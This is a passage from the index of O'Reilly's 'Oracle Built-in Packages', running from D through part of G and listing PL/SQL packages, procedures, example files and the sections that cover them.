10.1.2.9. The DBMS_UTILITY.EXEC_DDL_STATEMENT procedure
at replicated sites : 15.3.3.4. The DBMS_REPCAT.EXECUTE_DDL procedure
binding versus concatenation : 2.3.4. Binding Values into Dynamic SQL
locking and : 2.4.7. Executing DDL in PL/SQL
privileges and : 2.4.7. Executing DDL in PL/SQL
deadlocks, notification of : 4.1.2.2. The DBMS_LOCK.REQUEST function
debug procedure : 3.1.7.5. The pipesvr package
debugging
(see also tracing; troubleshooting)
2.3.10.3. The DBMS_SQL.LAST_ROW_ID function
DBMS_OUTPUT used for : 6.1. DBMS_OUTPUT: Displaying Output
DBMS_PIPE used for
3.1. DBMS_PIPE: Communicating Between Sessions
3.1.2.2. Nontransactional communications
3.1.7.4. Implementing a server program
last row fetched and : 2.3.10.3. The DBMS_SQL.LAST_ROW_ID function
DEFCALL view : 17.1.2. Data Dictionary Views
defcall.sql : 17.3.2.2. The DBMS_DEFER.CALL procedure
DEFCALLDEST view : 17.1.2. Data Dictionary Views
defcdest.sql : 17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure
DEFDEFAULTDEST view : 17.1.2. Data Dictionary Views
deferred execution : 5. Oracle Advanced Queuing
deferred parsing : 2.3.3.1. The DBMS_SQL.PARSE procedure
DDL statements and : 2.3.4. Binding Values into Dynamic SQL
deferred transactions
(see also RPCs)
17.1.1. About Remote Destinations
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
commiting
17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure
data dictionary views for : 17.1.2. Data Dictionary Views
database links and : 17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure
error handling : 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
executing : 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
failed transactions
deleting : 17.2.4.1. The DBMS_DEFER_SYS.DELETE_ERROR procedure
executing : 17.2.4.4. The DBMS_DEFER_SYS.EXECUTE_ERROR procedure
named transactions, deleting : 17.2.4.2. The DBMS_DEFER_SYS.DELETE_TRAN procedure
Oracle8 propagation scheduling : 17.2.6. Scheduling Propagation (Oracle8 only)
parameterized RPCs : 17.3.3. Parameterized RPCs
parameterless RPCs : 17.3.2. Basic RPCs
propagation : (see propagating transactions)
rate and volume control : 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
replication triggers and : 17. Deferred Transactions and Remote Procedure Calls
roles and : 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
scheduling : 17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure
INIT.ORA and : 17.2.5.1. Scheduling strategies
specifying remote destinations : 17.3.2.1. The DBMS_DEFER.TRANSACTION procedure
stopping execution : 17.2.5.4. The DBMS_DEFER_SYS.UNSCHEDULE_EXECUTION procedure
testing if deferred transactions disabled : 17.2.4.3. The DBMS_DEFER_SYS.DISABLED function
DEFERROR view : 17.1.2. Data Dictionary Views
DEFERRORCOUNT view : 17.1.2. Data Dictionary Views
DEFINE_ARRAY procedure
2.2.3. DBMS_SQL Programs
2.3.5.2. The DBMS_SQL.DEFINE_ARRAY procedure
index-by tables used by : 2.2.6. DBMS_SQL Nonprogram Elements
multiple-row COLUMN_VALUE requires : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
DEFINE_COLUMN procedure
2.2.3. DBMS_SQL Programs
2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure
Method 4 dynamic SQL and : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
single-row COLUMN_VALUE requires : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
tips about : 2.5.4.5. Defining the cursor structure
DEFINE_COLUMN_CHAR procedure : 2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure
DEFINE_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs
16.2.2.1. The DBMS_REPCAT.DEFINE_COLUMN_GROUP procedure
DEFINE_COLUMN_LONG procedure : 2.2.3. DBMS_SQL Programs
DEFINE_COLUMN_RAW procedure : 2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure
DEFINE_COLUMN_ROWID procedure : 2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure
DEFINE_PRIORITY_GROUP procedure
16.1.1. DBMS_REPCAT Programs
16.3.2.1. The DBMS_REPCAT.DEFINE_PRIORITY_GROUP procedure
DEFINE_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs
16.4.2.1. The DBMS_REPCAT.DEFINE_SITE_PRIORITY procedure
defsched.sql : 17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure
DEFSCHEDULE view : 17.1.2. Data Dictionary Views
deftdest.sql : 17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure
DEFTRAN view : 17.1.2. Data Dictionary Views
DEFTRANDEST view : 17.1.2. Data Dictionary Views
delete conflicts
16. Conflict Resolution
16.5.1. About Resolution Methods
DELETE statements, multiple-row deletes
2.5.6.2. Using array processing to delete
2.5.7.2. RETURNING from a multiple-row delete
DELETE_DEFAULT_DEST procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.2.2. The DBMS_DEFER.SYS.DELETE_DEFAULT_DEST procedure
DELETE_ERROR procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.4.1. The DBMS_DEFER_SYS.DELETE_ERROR procedure
DELETE_OBJECT procedure : 9.2.5.1. The UTL_REF.DELETE_OBJECT procedure
DELETE_TRAN procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.4.2. The DBMS_DEFER_SYS.DELETE_TRAN procedure
delret.sp : 2.5.7.2. RETURNING from a multiple-row delete
demohash procedure : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
dequeue options record type : 5.3.8. Dequeue Options Record Type
dequeue procedure
5.7.2. Working with Prioritized Queues
5.7.4. Browsing a Queue's Contents
DEQUEUE procedure
5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
5.4.2.1. The DBMS_AQ.DEQUEUE procedure
dequeuing : 5.4.2.1. The DBMS_AQ.DEQUEUE procedure
AQ features for : 5.1.3. Dequeue Features
consistency and : 5.4.2.5. Dequeue navigation
correlation identifiers : 5.3.8. Dequeue Options Record Type
example : 5.7.5. Searching by Correlation Identifier
delaying : 5.3.6. Message Properties Record Type
identifying messages : 5.3.8. Dequeue Options Record Type
locking and : 5.3.8. Dequeue Options Record Type
message grouping and : 5.4.2.6. Dequeuing with message grouping
message retrieved next : 5.3.8. Dequeue Options Record Type
modifying dequeuing properties (example) : 5.4.2.2. Examples
navigation
5.3.8. Dequeue Options Record Type
5.4.2.5. Dequeue navigation
number of attempts : 5.3.6. Message Properties Record Type
processing sequence
5.3.7. Enqueue Options Record Type
5.4.2.4. Dequeue order
search criteria : 5.4.2.3. Dequeue search criteria
transactions and
5.1.3. Dequeue Features
5.3.8. Dequeue Options Record Type
waiting for messages : 5.3.8. Dequeue Options Record Type
DESC_T table
describing columns and : 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure
encapsulating : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
desccols package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
desccols.spp : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
desccols.tst : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
DESCRIBE level : 10.2.2.2. The DESCRIBE level
DESCRIBE_COLUMNS procedure
2.2.3. DBMS_SQL Programs
2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure
declarations needed for : 2.2.6. DBMS_SQL Nonprogram Elements
encapsulating : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
DESCRIBE_PROCEDURE procedure
(see also DBMS_DESCRIBE package)
10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure
desctest package
(see also specific program names)
10.2.3.2. Using psdesc.args as a quality assurance tool
DESTROY procedure
14.2.1. Getting Started with DBMS_REFRESH
14.2.2.2. The DBMS_REFRESH.DESTROY procedure
dicing byte strings : 9.2.2.2. Slicing and dicing
DIFFERENCES procedure : 15.5.2.1. The DBMS_RECTIFIER.DIFFERENCES procedure
directories, aliases for : 8.2.2.1. The DIRECTORY object
DISABLE procedure
6.1.1.1. DBMS_OUTPUT programs
6.1.2.2. The DBMS_OUTPUT.DISABLE procedure
DISABLED function
17.2.1.1. DBMS_DEFER_SYS programs
17.2.4.3. The DBMS_DEFER_SYS.DISABLED function
discrete transactions : 4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure
disk accompanying book : A. What's on the Companion Disk?
displaying output : (see output generation)
distributed databases
in-doubt transactions : (see in-doubt transactions)
releasing locks and : 4.1.2.2. The DBMS_LOCK.REQUEST function
distributed transactions : (see deferred transactions; distributed databases)
DML statements
propagating to remote sites : 15.3.4. Replication Support with DBMS_REPCAT
propagating to replicated tables : 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function
do package : 6.1.6.1. Encapsulating DBMS_OUTPUT
DO_DEFERRED_REPCAT_ADMIN procedure
15.3.1.1. DBMS_REPCAT programs
15.3.6.1. The DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN procedure
dot notation
parsing
2.5.4.3. Constructing the SELECT
10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure
referencing package elements : 1.3.3. Referencing Built-in Package Elements
DROP_<conflicttype>_RESOLUTION
16.1.1. DBMS_REPCAT Programs
16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure
DROP_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs
16.2.2.2. The DBMS_REPCAT.DROP_COLUMN_GROUP procedure
DROP_DELETE_RESOLUTION procedure : 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure
DROP_GROUPED_COLUMN procedure
16.1.1. DBMS_REPCAT Programs
16.2.3.2. The DBMS_REPCAT.DROP_GROUPED_COLUMN procedure
DROP_MASTER_REPGROUP procedure
15.3.1.1. DBMS_REPCAT programs
15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure
DROP_MASTER_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs
15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure
drop_object procedure : 2.5.1. A Generic Drop_Object Procedure
DROP_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs
16.3.4.1. The DBMS_REPCAT.DROP_PRIORITY procedure
DROP_PRIORITY_<datatype> procedure
16.1.1. DBMS_REPCAT Programs
16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure
DROP_PRIORITY_GROUP procedure
16.1.1. DBMS_REPCAT Programs
16.3.2.2. The DBMS_REPCAT.DROP_PRIORITY_GROUP procedure
DROP_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.4.2. The DBMS_AQADM.DROP_QUEUE procedure
DROP_QUEUE_TABLE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.4.3. The DBMS_AQADM.DROP_QUEUE_TABLE procedure
DROP_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs
16.4.2.2. The DBMS_REPCAT.DROP_SITE_PRIORITY procedure
DROP_SITE_PRIORITY_SITE procedure
16.1.1. DBMS_REPCAT Programs
16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure
DROP_SNAPSHOT_REPGROUP procedure
14.4.1.1. DBMS_REPCAT programs
14.4.2.3. The DBMS_REPCAT.DROP_SNAPSHOT_REPGROUP procedure
DROP_SNAPSHOT_REPOBJECT procedure
14.4.1.1. DBMS_REPCAT programs
14.4.3.2. The DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT procedure
drop_student procedure : 5.7.4. Browsing a Queue's Contents
DROP_UNIQUE_RESOLUTION procedure : 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure
DROP_UPDATE_RESOLUTION procedure : 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure
dropobj.sp : 2.5.1. A Generic Drop_Object Procedure
dump_long procedure : 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure
dumplong.sp : 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure
dynamic SQL : 2. Executing Dynamic SQL and PL/SQL
blocks
binding host variables and : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
index-by tables and : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
scope of variables : 2.4.8. Executing Dynamic PL/SQL
syntax for : 2.4.8. Executing Dynamic PL/SQL
cursor variables and : 2.4.1. Some Restrictions
DDL statement execution
2. Executing Dynamic SQL and PL/SQL
2.4.7. Executing DDL in PL/SQL
binding versus concatenation : 2.3.4. Binding Values into Dynamic SQL
Method 4 example : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
methods for : 2.2.4. Types of Dynamic SQL
processing flow
2.1. Examples of Dynamic SQL
2.3.1. Processing Flow of Dynamic SQL
RETURNING clause in : 2.5.7. Using the RETURNING Clause in Dynamic SQL
tips on using : 2.4. Tips on Using Dynamic SQL
troubleshooting : 2.4.6. Problem-Solving Dynamic SQL Errors
dynconst package : 1.3.5.1. Examples of encapsulation packages
dynconst.spp : 1.3.6.1. Referencing packaged constants and variables
dyndel.sp : 2.5.6.2. Using array processing to delete
dyndel.tst : 2.5.6.2. Using array processing to delete
dynins.sp : 2.5.6.1. Using array processing to insert
dynins.tst : 2.5.6.1. Using array processing to insert
dynplsql.sp : 2.4.8. Executing Dynamic PL/SQL
dynsql package
(see also specific program names)
2.4.6. Problem-Solving Dynamic SQL Errors
dynsql.spp : 2.4.6. Problem-Solving Dynamic SQL Errors
dynsql_value package : 1.3.6.1. Referencing packaged constants and variables
dynupd.sp : 2.5.6.3. Using array processing to update
dynupd.tst : 2.5.6.3. Using array processing to update
dynvar package
(see also specific program names)
2.5.5. Indirect Referencing in PL/SQL
dynvar.spp : 2.5.5. Indirect Referencing in PL/SQL
dynvar.tst : 2.5.5. Indirect Referencing in PL/SQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: E

effdsql.tst : 2.4.5. Improving the Performance of Dynamic SQL
egister.sql : 7.3.3. The set_stats Procedure
elapsed time, returning : 10.1.2.14. The DBMS_UTILITY.GET_TIME function
empfetch package
(see also specific program names)
2.5.6.4. Using array processing to fetch
empfetch.spp : 2.5.6.4. Using array processing to fetch
empfetch.tst : 2.5.6.4. Using array processing to fetch
ENABLE procedure
6.1.1.1. DBMS_OUTPUT programs
6.1.2.1. The DBMS_OUTPUT.ENABLE procedure
ename_val procedure : 2.5.6.4. Using array processing to fetch
encapsulation, packages for : 1.3.5.1. Examples of encapsulation packages
encrypted data, packing into message buffers : 3.1.4.2. The DBMS_PIPE.PACK_MESSAGE_RAW procedure
end-of-line markers : (see newline markers)
END_INSTANTIATION procedure
15.4.1. Getting Started with DBMS_OFFLINE_OG
15.4.2.3. The DBMS_OFFLINE_OG.END_INSTANTIATION procedure
END_LOAD procedure
14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs
14.3.2.2. The DBMS_OFFLINE_SNAPSHOT.END_LOAD procedure
15.4.1. Getting Started with DBMS_OFFLINE_OG
15.4.2.4. The DBMS_OFFLINE_OG.END_LOAD procedure
END_TABLE_REORGANIZATION procedure
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.5.2. The DBMS_SNAPSHOT.END_TABLE_REORGANIZATION procedure (Oracle8 only)
enqueue options record type : 5.3.7. Enqueue Options Record Type
enqueue procedure : 5.7.2. Working with Prioritized Queues
ENQUEUE procedure : 5.4.1.1. The DBMS_AQ.ENQUEUE procedure
enqueue_high procedure : 5.7.2. Working with Prioritized Queues
enqueue_low procedure : 5.7.2. Working with Prioritized Queues
enqueue_medium procedure : 5.7.2. Working with Prioritized Queues
enqueuing : 5.4.1.1. The DBMS_AQ.ENQUEUE procedure
AQ features for : 5.1.2. Enqueue Features
delay value : 5.3.6. Message Properties Record Type
time of : 5.3.6. Message Properties Record Type
transactions and
5.1.3. Dequeue Features
5.3.7. Enqueue Options Record Type
ERASE procedure
8.1.1. DBMS_LOB Programs
8.3.3.3. The DBMS_LOB.ERASE procedure
error stack, returning : 10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function
errors
(see also exceptions)
2.4.6. Problem-Solving Dynamic SQL Errors
dynamic SQL parsing : (see dynamic SQL, troubleshooting)
errpos.sql : 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function
errstk.stk : 10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function
event journals : 5.1.1. General Features
event levels : (see tracing, event levels)
exception queues
5.1.5. A Glossary of Terms
5.3.6. Message Properties Record Type
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
exceptions
aliasing : 1.3.4.5. Same exception, different causes
handling in built-in packages : 1.3.4. Exception Handling and Built-in Packages
Oracle Developer/2000 and : 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1
identifying cause of : 1.3.4.5. Same exception, different causes
EXCLUDE_PUSH function
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.1. The DBMS_DEFER_SYS.EXCLUDE_PUSH function (Oracle8 only)
exclusive or (see XOR bit operation)
EXEC_DDL_STATEMENT procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.9. The DBMS_UTILITY.EXEC_DDL_STATEMENT procedure
EXECUTE function (DBMS_SQL)
2.2.3. DBMS_SQL Programs
2.3.6.1. The DBMS_SQL.EXECUTE function
executing : 2.3.6.1. The DBMS_SQL.EXECUTE function
immediate execution : 2.3.3.1. The DBMS_SQL.PARSE procedure
EXECUTE procedure (DBMS_DEFER_SYS)
17.2.1.1. DBMS_DEFER_SYS programs
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
EXECUTE_AND_FETCH function
2.2.3. DBMS_SQL Programs
2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function
troubleshooting : 2.3.8. Retrieving Values
EXECUTE_DDL procedure
15.3.1.1. DBMS_REPCAT programs
15.3.3.4. The DBMS_REPCAT.EXECUTE_DDL procedure
EXECUTE_ERROR procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.4.4. The DBMS_DEFER_SYS.EXECUTE_ERROR procedure
EXECUTE_ERROR_AS_USER procedure : 17.2.1.1. DBMS_DEFER_SYS programs
execution status, registering : 7. Defining an Application Profile
expiration time : 5.3.6. Message Properties Record Type
export/inport : (see master sites, instantiation)
extended ROWIDs
converting to restricted ROWIDs : 9.1.3.9. The DBMS_ROWID.ROWID_TO_RESTRICTED function
creating from restricted ROWIDs : 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function
format : 9.1.2. ROWID Concepts
Oracle versions and : 9. Datatype Packages
extension encapsulation : 1.3.5. Encapsulating Access to the Built-in Packages
external LOBs
8.2.1.1. Internal and external LOBs
8.2.1.6. The LOB locator
external programs : 1.1. The Power of Built-in Packages
DBMS_PIPE used to execute : 3.1.7.1. Communicating with the outside world

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: F

fanning out messages : (see broadcasting)
FCLOSE procedure
6.2.1.1. UTL_FILE programs
6.2.5.1. The UTL_FILE.FCLOSE procedure
FCLOSE_ALL procedure
6.2.1.1. UTL_FILE programs
6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure
FETCH_ROWS function
2.2.3. DBMS_SQL Programs
2.3.7.1. The DBMS_SQL.FETCH_ROWS function
fetching rows : (see rows, fetching)
FFLUSH procedure
6.2.1.1. UTL_FILE programs
6.2.4.5. The UTL_FILE.FFLUSH procedure
file numbers : (see absolute file numbers; data block addresses; relative file numbers)
file2tab.sp : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
file_exists function : 6.2.7.3. Testing for a file's existence
file_to_table procedure : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
FILECLOSE procedure
8.1.1. DBMS_LOB Programs
8.3.1.5. The DBMS_LOB.FILECLOSE procedure
FILECLOSEALL procedure
8.1.1. DBMS_LOB Programs
8.3.1.6. The DBMS_LOB.FILECLOSEALL procedure
fileexc.sql : 6.2.6.1. Handling file I/O errors
FILEEXISTS function
8.1.1. DBMS_LOB Programs
8.3.1.1. The DBMS_LOB.FILEEXISTS function
FILEGETNAME procedure
8.1.1. DBMS_LOB Programs
8.3.1.2. The DBMS_LOB.FILEGETNAME procedure
fileIO package
(see also specific program names)
6.2.6.3. Combining locations and filenames
6.2.6.4. Adding support for paths
FILEISOPEN function
8.1.1. DBMS_LOB Programs
8.3.1.4. The DBMS_LOB.FILEISOPEN function
FILEOPEN procedure
8.1.1. DBMS_LOB Programs
8.3.1.3. The DBMS_LOB.FILEOPEN procedure
filepath.spp : 6.2.6.4. Adding support for paths
filepath.tst : 6.2.6.4. Adding support for paths
files
(see also BFILEs; UTL_FILE package)
6.2. UTL_FILE: Reading and Writing Server-side Files
closing
all files : 6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure
one file : 6.2.5.1. The UTL_FILE.FCLOSE procedure
unclosed files : 6.2.6.2. Closing unclosed files
deleting : 6.2.1.7. UTL_FILE restrictions and limitations
ROWIDs and : 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function
existence of (example) : 6.2.7.2. Creating a file
flushing data : 6.2.4.5. The UTL_FILE.FFLUSH procedure
handles
closing files and : 6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure
I/O errors : 6.2.6.1. Handling file I/O errors
line length : 6.2.1.7. UTL_FILE restrictions and limitations
locating
6.2.1.4. Specifying file locations
6.2.6.3. Combining locations and filenames
mapped files : 6.2.1.7. UTL_FILE restrictions and limitations
opening : 6.2.2.1. The UTL_FILE.FOPEN function
random access : 6.2.1.7. UTL_FILE restrictions and limitations
example : 6.2.7.5. Getting the nth line from a file
read/write modes
6.2.2.1. The UTL_FILE.FOPEN function
6.2.4. Writing to Files
reading
6.2.1.8. The UTL_FILE process flow
6.2.3.1. The UTL_FILE.GET_LINE procedure
enhancing GET_LINE : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
renaming : 6.2.1.7. UTL_FILE restrictions and limitations
searching (example) : 6.2.7.4. Searching a file for a string
security and UTL_FILE : 6.2.1.3. File security
string size maximum : 6.2.4. Writing to Files
testing if open
6.2.2.2. The UTL_FILE.IS_OPEN function
6.2.6.5. You closed what?
writing
6.2.1.8. The UTL_FILE process flow
6.2.4. Writing to Files
data : 6.2.4.1. The UTL_FILE.PUT procedure
data with newline marker : 6.2.4.3. The UTL_FILE.PUT_LINE procedure
formatted items : 6.2.4.4. The UTL_FILE.PUTF procedure
newline markers : 6.2.4.2. The UTL_FILE.NEW_LINE procedure
fileupd.sp : 2.5.6.3. Using array processing to update
filexist.sf : 6.2.7.3. Testing for a file's existence
fillblck.fp : 2.3.7.1. The DBMS_SQL.FETCH_ROWS function
first-in-first-out queues : (see queues)
FIRST_MESSAGE dequeuing : 5.4.2.5. Dequeue navigation
fixdefer.sql : 17.2.4.4. The DBMS_DEFER_SYS.EXECUTE_ERROR procedure
fixed-width character sets : (see CLOBs; NCLOBs)
fkname.sf : 2.5.2. A Generic Foreign Key Lookup Function
fkname2.sf : 2.5.2. A Generic Foreign Key Lookup Function
fkname3.sf : 2.5.2. A Generic Foreign Key Lookup Function
FOPEN function
6.2.1.1. UTL_FILE programs
6.2.2.1. The UTL_FILE.FOPEN function
forcur procedure : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
foreign keys
obtaining description of (example) : 2.5.2. A Generic Foreign Key Lookup Function
VARCHAR2 in : 2.5.2. A Generic Foreign Key Lookup Function
format strings, PUTF and : 6.2.4.4. The UTL_FILE.PUTF procedure
FORMAT_CALL_STACK function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.10. The DBMS_UTILITY.FORMAT_CALL_STACK function
FORMAT_ERROR_STACK function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function
forward procedure : 3.1.7.3. The dbpipe utility package
FREE_BLOCKS procedure : 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure
FREE_UNUSED_USER_MEMORY procedure
11.1.1.1. DBMS_SESSION programs
11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure
freelist blocks, number available : 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure
freelist_blocks function : 12.1.3.1. The segspace package
function codes : 2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function
functions
describing : 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure
recompiling : 10.3.2. Compiling PL/SQL Objects
referencing in packages : 1.3.3. Referencing Built-in Package Elements
funnelling in messages : 5.1.4. Propagation Features

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: G

GENERATE_REPLICATION_PACKAGE procedure
15.3.1.1. DBMS_REPCAT programs
15.3.4.2. The DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE procedure
GENERATE_REPLICATION_SUPPORT procedure
15.3.1.1. DBMS_REPCAT programs
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
altering replicated objects and : 15.3.3.5. The DBMS_REPCAT.ALTER_MASTER_REPOBJECT procedure
GENERATE_REPLICATION_TRIGGER procedure
15.3.1.1. DBMS_REPCAT programs
15.3.4.3. The DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER procedure
GET_<datatype>_ARG function
17.4.1.1. DBMS_DEFER_QUERY programs
17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_ARG_TYPE function
17.4.1.1. DBMS_DEFER_QUERY programs
17.4.1.3. The DBMS_DEFER_QUERY.GET_ARG_TYPE function
GET_BLOB_ARG : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_CALL_ARGS procedure
17.4.1.1. DBMS_DEFER_QUERY programs
17.4.1.4. The DBMS_DEFER_QUERY.GET_CALL_ARGS procedure
GET_CHAR_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_CLOB_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_DATE_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_HASH_VALUE function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
GET_LINE procedure (DBMS_OUTPUT)
6.1.1.1. DBMS_OUTPUT programs
6.1.4.1. The DBMS_OUTPUT.GET_LINE procedure
GET_LINE procedure (UTL_FILE)
6.2.1.1. UTL_FILE programs
6.2.3.1. The UTL_FILE.GET_LINE procedure
datatype conversions and : 6.2.3.1. The UTL_FILE.GET_LINE procedure
exception handling (example) : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
GET_LINES procedure (DBMS_OUTPUT)
6.1.1.1. DBMS_OUTPUT programs
6.1.4.2. The DBMS_OUTPUT.GET_LINES procedure
get_lock_TF function : 4.1.4.1. The dblock package
GET_NCHAR_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_NCLOB_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
get_nextline procedure : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
GET_NUMBER_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_NVARCHAR2_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_PARAMETER_VALUE function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
